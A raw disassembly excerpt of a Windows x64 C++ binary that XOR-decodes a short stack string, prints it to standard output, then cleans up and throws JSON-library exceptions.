packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm9
paddd xmm0, xmm4
pmulld xmm0, xmm12
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx]
pxor xmm3, xmm0
movd dword [rcx], xmm3
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x20
jl 0x140237f60
cmp r9d, 0x22
jge 0x140238197
movsxd rax, r9d
lea r10, [rsp + 0x448]
add r10, rax
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx r8d, r9b
sub r8b, cl
add r8b, r8b
mov eax, 0x9c09c09d
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x69
sub r8b, dl
add r8b, 0x41
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x22
jl 0x140238140
lea rdx, [rsp + 0x448]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14025af20
lea rdx, [0x14025b0f0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
lea rcx, [rsp + 0xba8]
call fcn.140259200
nop
lea rcx, [rsp + 0xac0]
call fcn.140259200
nop
lea rax, vtable.std::wstring_convert_class_std::codecvt_utf8_wchar_t__1114111__0___wchar_t__class_std::allocator_wchar_t___class_std::allocator_char__.0
mov qword [rsp + 0xc90], rax
lea rcx, [rsp + 0xcd0]
call fcn.140258f70
lea rcx, [rsp + 0xcb0]
call fcn.140259200
mov rcx, qword [rsp + 0xca8]
test rcx, rcx
je 0x140238229
mov rax, qword [rcx]
call qword [rax + 0x10]
test rax, rax
je 0x140238229
mov rcx, qword [rax]
mov r8, qword [rcx]
mov edx, r13d
mov rcx, rax
call r8
nop
jmp 0x1402382a3
mov ebx, dword [rsp + 0x40]
lea rcx, [rsp + 0xb60]
call fcn.140259200
nop
lea rcx, [rsp + 0xb40]
call fcn.140259200
nop
lea rcx, [rsp + 0xb20]
call fcn.140259200
nop
lea rcx, [rsp + 0xa58]
call fcn.140259200
nop
lea rcx, [rsp + 0xa78]
call fcn.140259200
nop
lea rcx, [rsp + 0xb00]
call fcn.140259200
nop
lea rcx, [rsp + 0xa38]
call fcn.140259200
mov r14, qword [rsp + 0xae0]
lea r9, [0x140000000]
lea rcx, [rsp + 0xaa0]
call fcn.1402540d0
mov rcx, qword [rsp + 0xab8]
mov rdi, qword [rsp + 0xaa0]
jmp 0x140234552
movzx edx, byte [rsp + 0xb98]
lea rcx, [rsp + 0xba0]
call fcn.1402597f0
nop
lea rcx, [rsp + 0xc28]
call fcn.140259200
nop
lea rcx, [rsp + 0xe00]
call fcn.140259200
lea rcx, [rsp + 0xde0]
call fcn.140259200
lea rcx, [rsp + 0xdc0]
call fcn.140259200
lea rcx, [rsp + 0xda0]
call fcn.140259200
lea rcx, [rsp + 0xd80]
call fcn.140259200
mov r8, qword [rsp + 0xd70]
mov r8, qword [r8 + 8]
lea rdx, [rsp + 0xd70]
lea rcx, [rsp + 0xd70]
call fcn.14025c530
mov edx, 0x60
mov rcx, qword [rsp + 0xd70]
call fcn.14027cdf0
mov r8, qword [rsp + 0xd60]
mov r8, qword [r8 + 8]
lea rdx, [rsp + 0xd60]
lea rcx, [rsp + 0xd60]
call fcn.14025c530
mov edx, 0x60
mov rcx, qword [rsp + 0xd60]
call fcn.14027cdf0
mov r8, qword [rsp + 0xd50]
mov r8, qword [r8 + 8]
lea rdx, [rsp + 0xd50]
lea rcx, [rsp + 0xd50]
call fcn.14025c530
mov edx, 0x60
mov rcx, qword [rsp + 0xd50]
call fcn.14027cdf0
nop
lea rcx, [rsp + 0xd10]
call fcn.140259200
nop
lea rcx, [rsp + 0xc68]
call fcn.140259200
nop
lea rcx, [rsp + 0xc48]
call fcn.140259200
nop
mov rcx, qword [rsp + 0xb88]
xor rcx, qword [rsp + 0xb80]
mov rax, qword [rsp + 0xb90]
mov qword [rax], rcx
mov rcx, qword [rsp + 0x7200]
xor rcx, rsp
call fcn.14027cdd0
lea r11, [rsp + 0x7280]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
movaps xmm11, xmmword [r11 - 0x60]
movaps xmm12, xmmword [r11 - 0x70]
mov rsp, r11
pop r15
pop r14
pop r13
ret
call fcn.1402029d0
nop
lea rdx, str.cannot_compare_iterators_of_different_containers
lea rcx, [rsp + 0x2d8]
call fcn.14021d2f0
nop
lea r8, [rsp + 0x2d8]
mov edx, 0xd4
lea rcx, [rsp + 0x918]
call fcn.14025c050
lea rdx, [0x1402b9108]
lea rcx, [rsp + 0x918]
call sub.VCRUNTIME140.dll__CxxThrowException
nop
lea rdx, str.cannot_get_value
lea rcx, [rsp + 0x2d8]
call fcn.14021d2f0
nop
lea r8, [rsp + 0x2d8]
mov edx, 0xd6
lea rcx, [rsp + 0x8a8]
call fcn.14025c050
lea rdx, [0x1402b9108]
lea rcx, [rsp + 0x8a8]
call sub.VCRUNTIME140.dll__CxxThrowException
nop
mov rcx, rax
call fcn.14025eeb0
mov qword [rsp + 0x120], rax
lea r8, [rsp + 0x120]
lea rcx, [rsp + 0x9b0]
call fcn.140272160
nop
mov r8, rax
mov edx, 0x12e
lea rcx, [rsp + 0x720]
call fcn.1402648d0
lea rdx, [0x1402b9080]
lea rcx, [rsp + 0x720]
call sub.VCRUNTIME140.dll__CxxThrowException
nop
mov rcx, rax
call fcn.14025eeb0
mov qword [rsp + 0x120], rax
lea r8, [rsp + 0x120]
lea rcx, [rsp + 0x9d0]
call fcn.140272160
nop
mov r8, rax
mov edx, 0x12e
lea rcx, [rsp + 0x758]
call fcn.1402648d0
lea rdx, [0x1402b9080]
lea rcx, [rsp + 0x758]
call sub.VCRUNTIME140.dll__CxxThrowException
nop
mov rcx, rax
call fcn.14025eeb0
mov qword [rsp + 0x120], rax
lea r8, [rsp + 0x120]
lea rcx, [rsp + 0x990]
call fcn.140272160
nop
mov r8, rax
mov edx, 0x12e
lea rcx, [rsp + 0x7c8]
call fcn.1402648d0
lea rdx, [0x1402b9080]
lea rcx, [rsp + 0x7c8]
call sub.VCRUNTIME140.dll__CxxThrowException
nop
mov rcx, rax
call fcn.14025eeb0
mov qword [rsp + 0x120], rax
lea r8, [rsp + 0x120]
lea rcx, [rsp + 0x9f0]
call fcn.140272160
nop
mov r8, rax
mov edx, 0x12e
lea rcx, [rsp + 0x790]
call fcn.1402648d0
lea rdx, [0x1402b9080]
lea rcx, [rsp + 0x790]
call sub.VCRUNTIME140.dll__CxxThrowException
nop
mov rcx, rax
call fcn.14025eeb0
mov qword [rsp + 0x120], rax
lea r8, [rsp + 0x120]
lea rcx, [rsp + 0xa10]
call fcn.140272160
nop
mov r8, rax
mov edx, 0x12e
lea rcx, [rsp + 0x800]
call fcn.1402648d0
lea rdx, [0x1402b9080]
lea rcx, [rsp + 0x800]
call sub.VCRUNTIME140.dll__CxxThrowException
nop
mov rcx, rax
call fcn.14025eeb0
mov qword [rsp + 0x120], rax
lea r8, [rsp + 0x120]
lea rcx, [rsp + 0x950]
call fcn.140272160
nop
mov r8, rax
mov edx, 0x12e
lea rcx, [rsp + 0x838]
call fcn.1402648d0
lea rdx, [0x1402b9080]
lea rcx, [rsp + 0x838]
call sub.VCRUNTIME140.dll__CxxThrowException
nop
mov rcx, rax
call fcn.14025eeb0
mov qword [rsp + 0x120], rax
lea r8, [rsp + 0x120]
lea rcx, [rsp + 0x970]
call fcn.140272160
nop
mov r8, rax
mov edx, 0x12e
lea rcx, [rsp + 0x870]
call fcn.1402648d0
lea rdx, [0x1402b9080]
lea rcx, [rsp + 0x870]
call sub.VCRUNTIME140.dll__CxxThrowException
nop
call fcn.1402029d0
nop
lea rdx, str.cannot_get_value
lea rcx, [rsp + 0x2d8]
call fcn.14021d2f0
nop
lea r8, [rsp + 0x2d8]
mov edx, 0xd6
lea rcx, [rsp + 0x8e0]
call fcn.14025c050
lea rdx, [0x1402b9108]
lea rcx, [rsp + 0x8e0]
call sub.VCRUNTIME140.dll__CxxThrowException
int3